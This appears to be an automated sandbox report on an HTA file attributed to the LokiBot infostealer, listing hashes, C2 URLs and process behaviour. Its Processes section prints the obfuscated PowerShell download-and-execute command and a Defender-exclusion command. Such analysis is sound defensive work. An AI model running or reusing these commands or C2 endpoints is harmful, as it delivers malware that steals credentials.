Analysis
-
max time kernel
100s -
max time network
105s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
20-11-2024 09:56
Static task
static1
Behavioral task
behavioral1
Sample
goodtoseeuthatgreatthingswithentirethingsgreatfor.hta
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
goodtoseeuthatgreatthingswithentirethingsgreatfor.hta
Resource
win10v2004-20241007-en
General
-
Target
goodtoseeuthatgreatthingswithentirethingsgreatfor.hta
-
Size
23KB
-
MD5
ec0d423a3f72d69975a1e31a275f5377
-
SHA1
213922fb8456ecaadc24889afec1ac6ef5010c68
-
SHA256
9fd433cd543ab161d2a3ccb96a265c79ee0bb1a513647c0c33c72114660c64ac
-
SHA512
8132f567abfd4e3489204d1f3a9fc8292457ce10495345cd0ccfa8074233411c8305c4d73078a7dee02b086fbc22b8ad7047dd4bc127de337d0800771edf53ad
-
SSDEEP
96:C2vy2KJTuvPTTwduJZA6/3P42e2+ip2k+:TLwuv6QP5f+F3
Malware Config
Extracted
lokibot
http://94.156.177.41/maxzi/five/fre.php
http://kbfvzoboss.bid/alien/fre.php
http://alphastand.trade/alien/fre.php
http://alphastand.win/alien/fre.php
http://alphastand.top/alien/fre.php
Signatures
-
Lokibot family
-
Blocklisted process makes network request 1 IoCs
flow pid Process 3 644 poWERShell.eXe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2996 powershell.exe -
Downloads MZ/PE file
-
Evasion via Device Credential Deployment 2 IoCs
pid Process 644 poWERShell.eXe 2880 powershell.exe -
Executes dropped EXE 2 IoCs
pid Process 772 wininit.exe 1416 wininit.exe -
Loads dropped DLL 3 IoCs
pid Process 644 poWERShell.eXe 644 poWERShell.eXe 644 poWERShell.eXe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook wininit.exe Key opened \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook wininit.exe Key opened \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook wininit.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 772 set thread context of 1416 772 wininit.exe 38 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language poWERShell.eXe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language csc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wininit.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 644 poWERShell.eXe 2880 powershell.exe 2996 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 644 poWERShell.eXe Token: SeDebugPrivilege 2880 powershell.exe Token: SeDebugPrivilege 2996 powershell.exe Token: SeDebugPrivilege 1416 wininit.exe -
Suspicious use of WriteProcessMemory 34 IoCs
description pid Process procid_target PID 2612 wrote to memory of 644 2612 mshta.exe 29 PID 2612 wrote to memory of 644 2612 mshta.exe 29 PID 2612 wrote to memory of 644 2612 mshta.exe 29 PID 2612 wrote to memory of 644 2612 mshta.exe 29 PID 644 wrote to memory of 2880 644 poWERShell.eXe 31 PID 644 wrote to memory of 2880 644 poWERShell.eXe 31 PID 644 wrote to memory of 2880 644 poWERShell.eXe 31 PID 644 wrote to memory of 2880 644 poWERShell.eXe 31 PID 644 wrote to memory of 2676 644 poWERShell.eXe 32 PID 644 wrote to memory of 2676 644 poWERShell.eXe 32 PID 644 wrote to memory of 2676 644 poWERShell.eXe 32 PID 644 wrote to memory of 2676 644 poWERShell.eXe 32 PID 2676 wrote to memory of 2828 2676 csc.exe 33 PID 2676 wrote to memory of 2828 2676 csc.exe 33 PID 2676 wrote to memory of 2828 2676 csc.exe 33 PID 2676 wrote to memory of 2828 2676 csc.exe 33 PID 644 wrote to memory of 772 644 poWERShell.eXe 35 PID 644 wrote to memory of 772 644 poWERShell.eXe 35 PID 644 wrote to memory of 772 644 poWERShell.eXe 35 PID 644 wrote to memory of 772 644 poWERShell.eXe 35 PID 772 wrote to memory of 2996 772 wininit.exe 36 PID 772 wrote to memory of 2996 772 wininit.exe 36 PID 772 wrote to memory of 2996 772 wininit.exe 36 PID 772 wrote to memory of 2996 772 wininit.exe 36 PID 772 wrote to memory of 1416 772 wininit.exe 38 PID 772 wrote to memory of 1416 772 wininit.exe 38 PID 772 wrote to memory of 1416 772 wininit.exe 38 PID 772 wrote to memory of 1416 772 wininit.exe 38 PID 772 wrote to memory of 1416 772 wininit.exe 38 PID 772 wrote to memory of 1416 772 wininit.exe 38 PID 772 wrote to memory of 1416 772 wininit.exe 38 PID 772 wrote to memory of 1416 772 wininit.exe 38 PID 772 wrote to memory of 1416 772 wininit.exe 38 PID 772 wrote to memory of 1416 772 wininit.exe 38 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook wininit.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook wininit.exe
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\goodtoseeuthatgreatthingswithentirethingsgreatfor.hta"1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2612 -
C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe"C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"2⤵
- Blocklisted process makes network request
- Evasion via Device Credential Deployment
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:644 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt3⤵
- Evasion via Device Credential Deployment
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2880
-
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pzmduwug.cmdline"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2676 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8602.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC8601.tmp"4⤵
- System Location Discovery: System Language Discovery
PID:2828
-
-
-
C:\Users\Admin\AppData\Roaming\wininit.exe"C:\Users\Admin\AppData\Roaming\wininit.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:772 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\wininit.exe"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2996
-
-
C:\Users\Admin\AppData\Roaming\wininit.exe"C:\Users\Admin\AppData\Roaming\wininit.exe"4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:1416
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD52a9db56d722a90b7e2be0d4cdf450553
SHA154c255b75bc34fa1128e12712b7ad33958d6b8ab
SHA256abafcdd244bbe1d1fcc2dd8267588e3a5084631893c9ecece7a4afd638441f88
SHA5129b5ed21ce30bd199fa057ff0fb9c9b4c0d3c4635861728ceeb2e82da576c0f2520851561314baac5e113cbdd6f27d3b2760e2f97c29c3e243c13709003452db2
-
Filesize
3KB
MD58d25c153a8712b0b1c07232d22e62592
SHA148aa74a72e22faceed7de899a78a35c92e66b4fe
SHA2569cd3396177f15c188c45de0c329c32c60b0fee3f2e0db1c808067d317c9dbd87
SHA512b607e79a8e81abf4837939206ba54159c7ecc09dc7e04dfe03dc086746ee985576caed5fb71accb47e9e8dd1997bf09133ca4abfc28bdd148fa101d2412d6924
-
Filesize
7KB
MD58e7d9ef4eb0d64aa1c8ba43e3df4f1da
SHA13be65c2f591f58334b68ede1d94b1e1b7541fe9d
SHA2563d92848ced663820f71f6fb1465d31b1ff176aeb7f569383b95fb0fe39edb190
SHA512477e5d9e6fdbab8b7f5153db6ebe73ec93f2d6934463ec3a8ddc6927469463f44323a44a9b571a0a51cb951785b34696a05421b20c611284468c363cc96ae946
-
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3692679935-4019334568-335155002-1000\0f5007522459c86e95ffcc62f32308f1_6110149a-fcf0-442a-a749-601093ba4822
Filesize46B
MD5d898504a722bff1524134c6ab6a5eaa5
SHA1e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA51226a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61
-
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3692679935-4019334568-335155002-1000\0f5007522459c86e95ffcc62f32308f1_6110149a-fcf0-442a-a749-601093ba4822
Filesize46B
MD5c07225d4e7d01d31042965f048728a0a
SHA169d70b340fd9f44c89adb9a2278df84faa9906b7
SHA2568c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA51223d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD5a1c60024d3bc5ee34399a3c120be3604
SHA119def30b4da0c11653a79558915cd83cb79a46f0
SHA256c295a921309660aa85685ecd8299bee377b7087e931769c6281ba2aa9e0687b1
SHA512d9d0e59d1a70ca174a2c0c15675e7a293269f40b672c9647341c261f36e4a54b672711cb4cdf04ebf5339075f264cce65952fa44d7c64b95dcca0219c7a217f9
-
Filesize
652B
MD551c107247aed53aa9076a771c5f14918
SHA168252d3f83daa435c28a2524909119fbf7111186
SHA256ebf048ea67f4b2f292075713e6d1dc771f99956adc9a0c13dbf7e66d1afce354
SHA51298d5df02aeb6917f679244e09ff020f59f0164550584ec86728a020afef0d7807123e53f4b4b7de6bc101e502479fa4cc85ae0af7c4f503e3a3c611b99f21718
-
Filesize
480B
MD5b0517586f4097114e790c61f2685f0d5
SHA120f7482298ab96731228ebd5242ceddfd72ff50f
SHA256a738e3af6f29edd637630b0299f306056042ea1c73850eee95498499f5d90237
SHA512c28702017ce7fe0d34bea38cef48df3bb65c63d92dddd6f8264f7262f7ae61b8d71bcd6fec06d0792373d15ba84fb2a1d0c26b0fe5755bc20505a9197d654ba0
-
Filesize
309B
MD5378a54b26242ce1a994a2f315f8f86c6
SHA17be4c4f474ce12487df1d213d687a85f410755df
SHA256adb7d91fdd7d394840c95c68fc6a5b3b37a3ded518f2653962552366142edd51
SHA5123c04569f898f812007f53855589bbd531bddc1c0608f03097ca7284fdea7a01083c4c988116aab7f791c2f22c83635c446e4a9abb60a9f962292e243eddee453
-
Filesize
586KB
MD566b03d1aff27d81e62b53fc108806211
SHA12557ec8b32d0b42cac9cabde199d31c5d4e40041
SHA25659586e753c54629f428a6b880f6aff09f67af0ace76823af3627dda2281532e4
SHA5129f8ef3dd8c482debb535b1e7c9155e4ab33a04f8c4f31ade9e70adbd5598362033785438d5d60c536a801e134e09fcd1bc80fc7aed2d167af7f531a81f12e43d